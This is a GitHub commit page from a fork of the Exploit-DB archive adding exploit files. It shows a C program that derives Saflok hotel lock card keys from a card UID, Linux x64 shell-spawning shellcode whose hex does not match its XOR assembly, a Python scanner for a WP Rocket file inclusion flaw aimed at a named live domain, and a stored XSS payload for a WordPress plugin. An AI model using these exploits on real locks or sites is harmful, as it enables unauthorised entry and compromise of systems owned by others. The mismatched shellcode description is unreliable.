forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
13 changes to exploits/shellcodes/ghdb Saflok - Key Derication Function Exploit (shellcode) Linux-x64 - create a shell with execve() sending argument using XOR (/bin//sh) [55 bytes] Academy LMS 6.2 - Reflected XSS Blood Bank v1.0 - Multiple SQL Injection Moodle 4.3 - Reflected XSS TASKHUB-2.8.8 - XSS-Reflected WordPress Plugin Admin Bar & Dashboard Access Control Version: 1.2.8 - _Dashboard Redirect_ field Stored Cross-Site Scripting (XSS) WP Fastest Cache 1.2.2 - Unauthenticated SQL Injection WP Rocket < 2.10.3 - Local File Inclusion (LFI)
- Loading branch information
Exploit-DB
committed
Feb 29, 2024
1 parent
c1bcfc6
commit 59f10b7
Showing
10 changed files
with
492 additions
and
91 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,63 @@ | ||
// Exploit Title: Saflok KDF | ||
// Date: 2023-10-29 | ||
// Exploit Author: a51199deefa2c2520cea24f746d899ce | ||
// Vendor Homepage: https://www.dormakaba.com/ | ||
// Version: System 6000 | ||
// Tested on: Dormakaba Saflok cards | ||
// CVE: N/A | ||
|
||
#include <stdio.h> | ||
#include <stdint.h> | ||
|
||
#define MAGIC_TABLE_SIZE 192 | ||
#define KEY_LENGTH 6 | ||
#define UID_LENGTH 4 | ||
|
||
int main(int argc, char *argv[]) { | ||
if (argc != 2) { | ||
printf("Usage: %s <32-bit uid value in hexadecimal format>\n", argv[0]); | ||
return 1; | ||
} | ||
|
||
uint8_t magic_table[MAGIC_TABLE_SIZE] = { | ||
0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0xF0, 0x57, 0xB3, 0x9E, 0xE3, 0xD8, | ||
0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x96, 0x9D, 0x95, 0x4A, 0xC1, 0x57, | ||
0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x8F, 0x43, 0x58, 0x0D, 0x2C, 0x9D, | ||
0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0xFF, 0xCC, 0xE0, 0x05, 0x0C, 0x43, | ||
0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x34, 0x1B, 0x15, 0xA6, 0x90, 0xCC, | ||
0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x89, 0x58, 0x56, 0x12, 0xE7, 0x1B, | ||
0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0xBB, 0x74, 0xB0, 0x95, 0x36, 0x58, | ||
0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0xFB, 0x97, 0xF8, 0x4B, 0x5B, 0x74, | ||
0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0xC9, 0xD1, 0x88, 0x35, 0x9F, 0x92, | ||
0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x8F, 0x92, 0xE9, 0x7F, 0x58, 0x97, | ||
0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x16, 0x6C, 0xA2, 0xB0, 0x9F, 0xD1, | ||
0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x27, 0xDD, 0x93, 0x10, 0x1C, 0x6C, | ||
0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0xDA, 0x3E, 0x3F, 0xD6, 0x49, 0xDD, | ||
0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x58, 0xDD, 0xED, 0x07, 0x8E, 0x3E, | ||
0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x5C, 0xD0, 0x05, 0xCF, 0xD9, 0x07, | ||
0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x11, 0x8D, 0xD0, 0x01, 0x87, 0xD0 | ||
}; | ||
|
||
uint8_t uid[UID_LENGTH]; | ||
sscanf(argv[1], "%2hhx%2hhx%2hhx%2hhx", &uid[0], &uid[1], &uid[2], &uid[3]); | ||
|
||
uint8_t magic_byte = (uid[3] >> 4) + (uid[2] >> 4) + (uid[0] & 0x0F); | ||
uint8_t magickal_index = (magic_byte & 0x0F) * 12 + 11; | ||
|
||
uint8_t key[KEY_LENGTH] = {magic_byte, uid[0], uid[1], uid[2], uid[3], magic_byte}; | ||
uint8_t carry_sum = 0; | ||
|
||
for (int i = KEY_LENGTH - 1; i >= 0 && magickal_index >= 0; i--, magickal_index--) { | ||
uint16_t keysum = key[i] + magic_table[magickal_index]; | ||
key[i] = (keysum & 0xFF) + carry_sum; | ||
carry_sum = keysum >> 8; | ||
} | ||
|
||
printf("Generated Key: "); | ||
for (int i = 0; i < KEY_LENGTH; i++) { | ||
printf("%02X", key[i]); | ||
} | ||
printf("\n"); | ||
|
||
return 0; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,112 @@ | ||
# Exploit Title: Linux-x64 - create a shell with execve() sending argument using XOR (/bin//sh) [55 bytes] | ||
|
||
# Shellcode Author: Alexys (0x177git) | ||
|
||
# Tested on: Linux (x86_64) | ||
|
||
# Shellcode Description: creating a new process using execve() syscall sending bin//sh as argument | (encrypted using XOR operation was QWORD size (/bin - //sh)) | ||
|
||
# Blog post: @MoreRubyOfSec (https://t.me/MoreRubyOfSec) on Telegram | ||
|
||
# Original code: | ||
[https://github.com/0x177git/xor-encrypted-execve-sh](https://github.com/0x177git/xor-encrypted-execve-sh/blob/main/execve-xor-encrypted-argv.asm) | ||
|
||
---- Assembly code ---- | ||
|
||
section .text | ||
|
||
global _start | ||
|
||
_start: | ||
|
||
xor eax, eax | ||
|
||
xor edx, edx ; clear rdx (argv on execve() protoype) | ||
|
||
mov qword [rsp-32], 0x7466684b ; | ||
|
||
mov qword [rsp-28],0x60650b1d ; encrypted(/bin//sh) 0x60, 0x65, 0xb, 0x1d, 0x74, 0x66, 0x68, 0x4b | ||
|
||
xor qword [rsp-32], 0x1a0f0a64 | ||
|
||
xor qword [rsp-28], 0x08162432 ; passwd 0x8, 0x16, 0x24, 0x32, 0x1a, 0xf, 0xa, 0x64 | ||
|
||
lea rdi, [rsp-32] | ||
|
||
push rax ; end of string | ||
|
||
push rdi ; send string to stack | ||
|
||
mov rsi, rsp ; send address of RSP to rsi -> (arg on linux syscall architecture convection) || execve(rsi, rdx) | ||
|
||
; call execve() | ||
|
||
mov al, 0x3b | ||
|
||
syscall | ||
|
||
- | ||
- - - shellcode execution using stack in c ( | ||
|
||
gcc -z execstack shellcode.c -o shellcode | ||
|
||
) ---- | ||
|
||
/* | ||
"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x31\xc0\xb0\x3b\x0f\x05" | ||
; | ||
*/ | ||
|
||
void | ||
|
||
main | ||
|
||
() | ||
{ | ||
const | ||
|
||
char | ||
|
||
shellcode | ||
|
||
[] | ||
|
||
= | ||
|
||
"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x31\xc0\xb0\x3b\x0f\x05" | ||
|
||
; | ||
|
||
void | ||
|
||
( | ||
|
||
* | ||
|
||
f | ||
|
||
)() | ||
|
||
= | ||
|
||
( | ||
|
||
void | ||
|
||
( | ||
|
||
* | ||
|
||
)()) | ||
|
||
shellcode | ||
|
||
; | ||
|
||
f | ||
|
||
(); | ||
} |
This file was deleted.
Oops, something went wrong.
This file was deleted.
Oops, something went wrong.
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,67 @@ | ||
Paulos Yibelo discovered and reported this Local File Inclusion vulnerability in WordPress WP Rocket Plugin. This could allow a malicious actor to include local files of the target website and show its output onto the screen. Files which store credentials, such as database credentials, could potentially allow complete database takeover depending on the configuration. This vulnerability has been fixed in version 2.10.4. | ||
|
||
|
||
https://patchstack.com/database/vulnerability/wp-rocket/wordpress-wp-rocket-plugin-2-10-3-local-file-inclusion-lfi-vulnerability | ||
|
||
|
||
https://vulners.com/wpvulndb/WPVDB-ID:5484D821-7017-47A8-90D8-7D87CB5E0E50 | ||
|
||
|
||
|
||
|
||
|
||
|
||
Exploit : | ||
|
||
#Code By E1.Coders | ||
|
||
#Dork : "Powered by WP Rocket" filetype:php intitle:"WP Rocket Configuration" -"in" -"dirlist" | ||
|
||
Dork : http://example.com/wp-content/plugins/wp-rocket/inc/functions/min/v2.10.3/min/min.php | ||
|
||
|
||
|
||
|
||
import requests | ||
import time | ||
|
||
def check_wp_rocket_version(url): | ||
version_url = url + "/wp-rocket/css/rocket.css" | ||
try: | ||
response = requests.get(version_url) | ||
version = response.headers["X-Powered-By"] | ||
if "WP Rocket/" in version: | ||
version = version.split("/")[1] | ||
return version | ||
except Exception as e: | ||
print(f"Error occurred while fetching WP Rocket version: {e}") | ||
return None | ||
|
||
def test_wp_rocket_lfi_bug(url): | ||
lfi_url = url + "/wp-rocket/inc/vendor/composer/installed.json" | ||
try: | ||
response = requests.get(lfi_url) | ||
if response.status_code == 200: | ||
return True | ||
except Exception as e: | ||
print(f"Error occurred while testing LFI: {e}") | ||
return False | ||
|
||
def main(): | ||
url = "http://arvatools.com" | ||
wp_rocket_version = check_wp_rocket_version(url) | ||
if wp_rocket_version: | ||
print(f"WP Rocket Version: {wp_rocket_version}") | ||
if wp_rocket_version in ["2.10.0", "2.10.1", "2.10.2", "2.10.3"]: | ||
result = test_wp_rocket_lfi_bug(url) | ||
if result: | ||
print("LFI vulnerability found in WP Rocket") | ||
else: | ||
print("LFI vulnerability not found in WP Rocket") | ||
else: | ||
print("WP Rocket version is not affected by the LFI bug") | ||
else: | ||
print("Unable to fetch WP Rocket version") | ||
|
||
if __name__ == "__main__": | ||
main() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,22 @@ | ||
# Exploit Title: WordPress Plugin Admin Bar & Dashboard Access Control Version: 1.2.8 - "Dashboard Redirect" field Stored Cross-Site Scripting (XSS) | ||
# Google Dork: NA | ||
# Date: 28/10/2023 | ||
# Exploit Author: Rachit Arora | ||
# Vendor Homepage: | ||
# Software Link: https://wordpress.org/plugins/admin-bar-dashboard-control/ | ||
# Version: 1.2.8 | ||
# Category: Web Application | ||
# Tested on: Windows | ||
# CVE : 2023-47184 | ||
|
||
|
||
1. Install WordPress (latest) | ||
|
||
2. Install and activate Admin Bar & Dashboard Access Control. | ||
|
||
3. Navigate to "Admin Bar & Dash" >> Under Dashboard Access and in the "Dashboard Redirect" enter the payload into the input field. | ||
|
||
"onfocusin=alert``+autofocus> | ||
"onfocusin=alert`document.domain`+autofocus> | ||
|
||
4. You will observe that the payload successfully got stored and when you are triggering the same functionality in that time JavaScript payload is executing successfully and we are getting a pop-up. |
Oops, something went wrong.